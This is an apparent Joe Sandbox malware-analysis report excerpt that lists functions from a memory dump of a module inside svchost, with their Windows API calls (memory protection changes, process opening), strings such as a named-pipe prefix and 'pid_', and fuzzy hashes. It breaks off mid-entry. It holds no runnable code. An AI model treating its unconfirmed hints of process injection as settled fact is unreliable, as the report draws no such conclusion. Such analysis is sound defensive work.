Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 0fefe4693416a643ad9e70920ffc3e33abc3de2cb316a83794251c8f9330dfe7
Instruction ID: acbe1909f79230598a35ed9adc7c1bbb906d6631c637f76bf5b0bf99aec116dd
Opcode Fuzzy Hash: 0fefe4693416a643ad9e70920ffc3e33abc3de2cb316a83794251c8f9330dfe7
Instruction Fuzzy Hash: 9DF05820B04B8093EA10DB13F94D1997668AB4AFE1F0C81319E9B27B28CF2CC49A8301

Function 000002A66130A258 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002A66130A274
GetProcAddress.KERNEL32 ref: 000002A66130A28A
FreeLibrary.KERNEL32 ref: 000002A66130A2A7

Strings

CorExitProcess, xrefs: 000002A66130A283
mscoree.dll, xrefs: 000002A66130A26B

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: e9186c1451144fd021b714c5c272bd718a2131959171b64afe02b1703c1f89a6
Instruction ID: 07c1bbe4bd8fa36892a6acb05d92240b6e010a04fd6df588d3c163491b032429
Opcode Fuzzy Hash: e9186c1451144fd021b714c5c272bd718a2131959171b64afe02b1703c1f89a6
Instruction Fuzzy Hash: 8CF05861B21A0083FB449F60F88D36837A8AB8AF51F4C2429940B67660CF2CC48CC702

Function 000002A6613054F0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A661305576

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 5eb0f69eaa28739e7a3b5d30c3b7e3077147b945ee367a274f52b7d5e5995563
Instruction ID: df798411ffdd1e079f6ec0f7e0163927004e3dd69baf84aa45194ce4d626a18f
Opcode Fuzzy Hash: 5eb0f69eaa28739e7a3b5d30c3b7e3077147b945ee367a274f52b7d5e5995563
Instruction Fuzzy Hash: DB02EB32619B8487EB60CB55F49835AB7E4F3C6B91F141015EA8E97BA8DF7CC488CB41

Function 000002A661310980 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002A6613109C2
GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000002A66131093F,?,?,?,000002A66130E263), ref: 000002A661310A80
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000002A66131093F,?,?,?,000002A66130E263), ref: 000002A661310B0A

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 6ea8d1c03a27889c2a76d2fa2108f5730873fa6bd6da2ede6083719aa30d033f
Instruction ID: a7c031cb47e0da5df3db95bfe4ff753df23f7a458a82281f936f31c8550ff9fb
Opcode Fuzzy Hash: 6ea8d1c03a27889c2a76d2fa2108f5730873fa6bd6da2ede6083719aa30d033f
Instruction Fuzzy Hash: B081CD22F106508BFB109F21888E3AD36A8F346F98F488115DE0BB7A95DF3CC469C712

Function 000002A661305B30 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002A661305B46

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: dbebcfa212769c950804440a44d24f2a92ce7775a833934e53173bcf02afa0e6
Instruction ID: 1477b44af3bc5b2e11128b243148cabb83ef55db588efe9a889fe495fa95e10e
Opcode Fuzzy Hash: dbebcfa212769c950804440a44d24f2a92ce7775a833934e53173bcf02afa0e6
Instruction Fuzzy Hash: 6A61C832A18B8487EB60DB15E44C31A77E4F38AB45F145216EA8E97BA8DF7CC548CF41

Function 000002A6612E13D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002A6612E1400
_set_statfp.LIBCMT ref: 000002A6612E141B
_set_statfp.LIBCMT ref: 000002A6612E1437
_set_statfp.LIBCMT ref: 000002A6612E1473

Memory Dump Source

Source File: 0000000E.00000003.1781874450.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2a6612d0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: d0be51bb97c77e0ad5bdb36d0dfb571661a8787d0f5a0318a365b3a9312d08c6
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 87114F62F50A9103F7541334E45E3A5107DEB96F64F1C4634AA760B7D6AF2C8BC94103

Function 000002A661311FD8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002A661312000
_set_statfp.LIBCMT ref: 000002A66131201B
_set_statfp.LIBCMT ref: 000002A661312037
_set_statfp.LIBCMT ref: 000002A661312073

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 5d0b80dcd1d52c1e52f0ea186871689deea632be76c95cad4b0f4eefd2fb3a69
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 13115122F50A4107F7581634E65F366704AAB57B74F3C4724AE773B3D68F1C8889C106

Function 000002A661303BB8 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,000002A661303657), ref: 000002A661303BC6
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002A661303657), ref: 000002A661303BF4
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002A661303657), ref: 000002A661303C16
GetCurrentProcess.KERNEL32(?,?,?,?,?,000002A661303657), ref: 000002A661303C34
VirtualProtectEx.KERNEL32(?,?,?,?,?,000002A661303657), ref: 000002A661303C55

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: f49a43d8567c213b337cf74c33d87ea9f8b0f1b984059dad2b4cd4689300dbc7
Instruction ID: a993612211386aae288452f10f62fbca7a8037bf902ba64a4ade7fa5b27061ce
Opcode Fuzzy Hash: f49a43d8567c213b337cf74c33d87ea9f8b0f1b984059dad2b4cd4689300dbc7
Instruction Fuzzy Hash: 0E115B2AB04B4087EF14DB26E44D66A76A8F78AF95F080029DE8E57794EF3DC64CC741

Function 000002A661303558 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 000002A66130357A
StrStrW.SHLWAPI ref: 000002A661303594
StrToIntW.SHLWAPI ref: 000002A6613035BB

Part of subcall function 000002A661301934: OpenProcess.KERNEL32 ref: 000002A66130195A
Part of subcall function 000002A661301934: K32GetModuleFileNameExW.KERNEL32 ref: 000002A661301978
Part of subcall function 000002A661301934: PathFindFileNameW.SHLWAPI ref: 000002A661301987
Part of subcall function 000002A661301934: lstrlenW.KERNEL32 ref: 000002A661301993
Part of subcall function 000002A661301934: StrCpyW.SHLWAPI ref: 000002A6613019A6
Part of subcall function 000002A661301934: CloseHandle.KERNEL32 ref: 000002A6613019B4

Part of subcall function 000002A661303C70: StrCmpNIW.KERNELBASE(?,?,?,000002A66130255A), ref: 000002A661303C88

Strings

pid_, xrefs: 000002A661303570

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: c190cf9c84f4fec237682ecde889163a3056c2ee0c0182666c83aa3720f1176d
Instruction ID: f4eb0129fd14240ef0102f3e0811ff151b87a391b843d24c61ac8060cb080afb
Opcode Fuzzy Hash: c190cf9c84f4fec237682ecde889163a3056c2ee0c0182666c83aa3720f1176d
Instruction Fuzzy Hash: 29119325B04B8097FB10D725EC4D79A67E8F786B91F4840219E4EA3794EF2DC90DC782

Function 000002A6613014A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A6613014C5
HeapFree.KERNEL32 ref: 000002A6613014D4
GetProcessHeap.KERNEL32 ref: 000002A6613014E1
HeapFree.KERNEL32 ref: 000002A6613014F0
GetProcessHeap.KERNEL32 ref: 000002A661301500

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 675c280ff13286ce7d146578b7a03c3a8db6339f083b3ff198ff4cd99f23170e
Instruction ID: 1daf3469cd6de168c41f071deeb24fc07ab5ba2376be75abb320c7fbf3975a19
Opcode Fuzzy Hash: 675c280ff13286ce7d146578b7a03c3a8db6339f083b3ff198ff4cd99f23170e
Instruction Fuzzy Hash: 04014832A00A90C7E704EFA6E80D24977B4FB8AF94F084435EA4A63728DF38C059C741

Function 000002A661302618 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002A661302701
StrCpyW.SHLWAPI ref: 000002A66130271A

Strings

\\.\pipe\, xrefs: 000002A66130270C

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 64816e4cd3ccee350da6ce7bbddcd7399f42add8e1b6bc9b0cc6ea827a19452e
Instruction ID: df8aa83f03d2fd4b7502ab1c9e283bf49b84e0899f070c7dc1244de843f897e2
Opcode Fuzzy Hash: 64816e4cd3ccee350da6ce7bbddcd7399f42add8e1b6bc9b0cc6ea827a19452e
Instruction Fuzzy Hash: 8C71A436B0078147EB65DE36994C7AA6BE8F38AF85F480015ED4B63B95DF38C6098781

Function 000002A6612DD178 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002A6612DD249

Strings

HIJKLMNOPQRSTUVWXYZ, xrefs: 000002A6612DD2A1, 000002A6612DD345
bad array new length, xrefs: 000002A6612DD385, 000002A6612DD396

Memory Dump Source

Source File: 0000000E.00000003.1781874450.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_3_2a6612d0000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: HIJKLMNOPQRSTUVWXYZ$bad array new length
API String ID: 3215553584-4137334423
Opcode ID: f0e5866417592c2ff8c3377a202dd0391a84e675177e715dfbe21364aa16f179
Instruction ID: 870dcabaa3d7d3f9cd9dc2d94d530f91ef4db72a297b243bfe3d14b4eac83292
Opcode Fuzzy Hash: f0e5866417592c2ff8c3377a202dd0391a84e675177e715dfbe21364aa16f179
Instruction Fuzzy Hash: FE616D22F00A4883FBA89B29D55C36D6AACEF42F50F1C4415DA4A177E5DF7CC9C98A12

Function 000002A661302408 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002A6613024ED
StrCpyW.SHLWAPI ref: 000002A661302504

Strings

\\.\pipe\, xrefs: 000002A6613024F8

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 15f2f4e0f9d638f158a96525c1ecafbceb1b9e2c8075581ad63209208a78af1e
Instruction ID: abdb4a8d6153689e566b0b83c39c78e2385abbb7c75edc36dd3933eac7855ee4
Opcode Fuzzy Hash: 15f2f4e0f9d638f158a96525c1ecafbceb1b9e2c8075581ad63209208a78af1e
Instruction Fuzzy Hash: D2519822B0438183E674DE35A56C3AAA7E9F386B81F480015DE4B23B59DF3EC50C97C5

Function 000002A661310724 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002A66131083B
GetLastError.KERNEL32 ref: 000002A66131085D

Strings

U, xrefs: 000002A6613107E7

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: f44db66318a18b3e6bf0bbc027b995569a44fb504c85fb8b49b9fe2e6159cddc
Instruction ID: 444756d706f330fdcf8bd50708be853e2a46aed5e08064c78c4eb5f749973874
Opcode Fuzzy Hash: f44db66318a18b3e6bf0bbc027b995569a44fb504c85fb8b49b9fe2e6159cddc
Instruction Fuzzy Hash: E941E232B14B4482EB20DF25E84D3AA77A4F789B94F494021EE8E97788DF3CC459CB41

Function 000002A66130D7E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002A66130D819
LCMapStringW.KERNEL32 ref: 000002A66130D8A1

Strings

LCMapStringEx, xrefs: 000002A66130D7FC, 000002A66130D80D

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 9eb651065806efa1f3c1ddeda68a4214a605e5c82d734f3d398dbc25806cdd5e
Instruction ID: 60d1c5e23022e7c7b18395f28c59f8c027c170bd43f4b64b0faf1f76f73bcbdd
Opcode Fuzzy Hash: 9eb651065806efa1f3c1ddeda68a4214a605e5c82d734f3d398dbc25806cdd5e
Instruction Fuzzy Hash: 36111D36B08B8086D760CB15F44839AB7A9F7C9BD4F584126EE8E53B59CF3CC5548B40

Function 000002A6613095F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002A661309634
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,000002A6613084FB), ref: 000002A66130967A

Strings

csm, xrefs: 000002A661309667

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: ba97a2cfb4494a9593318773eec94a3c4e74a75ef8f777109a467670aa1db902
Instruction ID: 9142d0e90a15875c23e2ef622068383e6720854bda89ff63b14601dbed6587ad
Opcode Fuzzy Hash: ba97a2cfb4494a9593318773eec94a3c4e74a75ef8f777109a467670aa1db902
Instruction Fuzzy Hash: 52110D32614B4482EB118F15E848359B7E9F789FA4F1C4221DE8D17754DF3DC555CB41

Function 000002A66130D77C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002A66130D7AD
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,?,000002A66130AE98), ref: 000002A66130D7C7

Strings

InitializeCriticalSectionEx, xrefs: 000002A66130D7A1

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: e64e4740045ae81cdb2e514f923c51f250565fc9a097f0243aa16987f787090b
Instruction ID: c3e01dfff161a5976bd281dc4611083f0f7a3eb579575d7db59aa67312c1ec9c
Opcode Fuzzy Hash: e64e4740045ae81cdb2e514f923c51f250565fc9a097f0243aa16987f787090b
Instruction Fuzzy Hash: 96F08225B04B8083EB149B51F44D69976A8AB4AF90F4C9129E90B23B95CF3CC44DC742

Function 000002A66130D728 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000002A66130D751
TlsSetValue.KERNEL32(?,?,?,000002A66130B50E,?,?,?,000002A66130B969,?,?,?,?,000002A66130BA1D), ref: 000002A66130D768

Strings

FlsSetValue, xrefs: 000002A66130D73E

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: fc325339b7f97732f837055afb4aa1383e496b4c3619d26f7748048e5b1acc4f
Instruction ID: 99ba0b0960493b7701356cd3252ef2e8c1eec5ecfecca4cb90bae358581854c4
Opcode Fuzzy Hash: fc325339b7f97732f837055afb4aa1383e496b4c3619d26f7748048e5b1acc4f
Instruction Fuzzy Hash: 35E06565B0054093EA445B50F54D2D832A9A74AF85F5C8025E507273D5DF3CC44DC242

Function 000002A661301C28 Relevance: 5.0, APIs: 4, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A661301C65
HeapAlloc.KERNEL32 ref: 000002A661301C74
GetProcessHeap.KERNEL32 ref: 000002A661301C9C
HeapFree.KERNEL32 ref: 000002A661301CAA

Memory Dump Source

Source File: 0000000E.00000002.2968922612.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 0000000E.00000002.2967816934.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2970326753.000002A661313000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2971491152.000002A66131D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2972526658.000002A66131F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2973592972.000002A661325000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 25d11f289d9fbfcfef02ead22fd34e1bae26a1daa0a4a5c4d43c16fe266dba3e
Instruction ID: 4ac3e3435bc240a28e372e584974f9dd1de5cdb4271dbca95e4a4b138f6a69e4
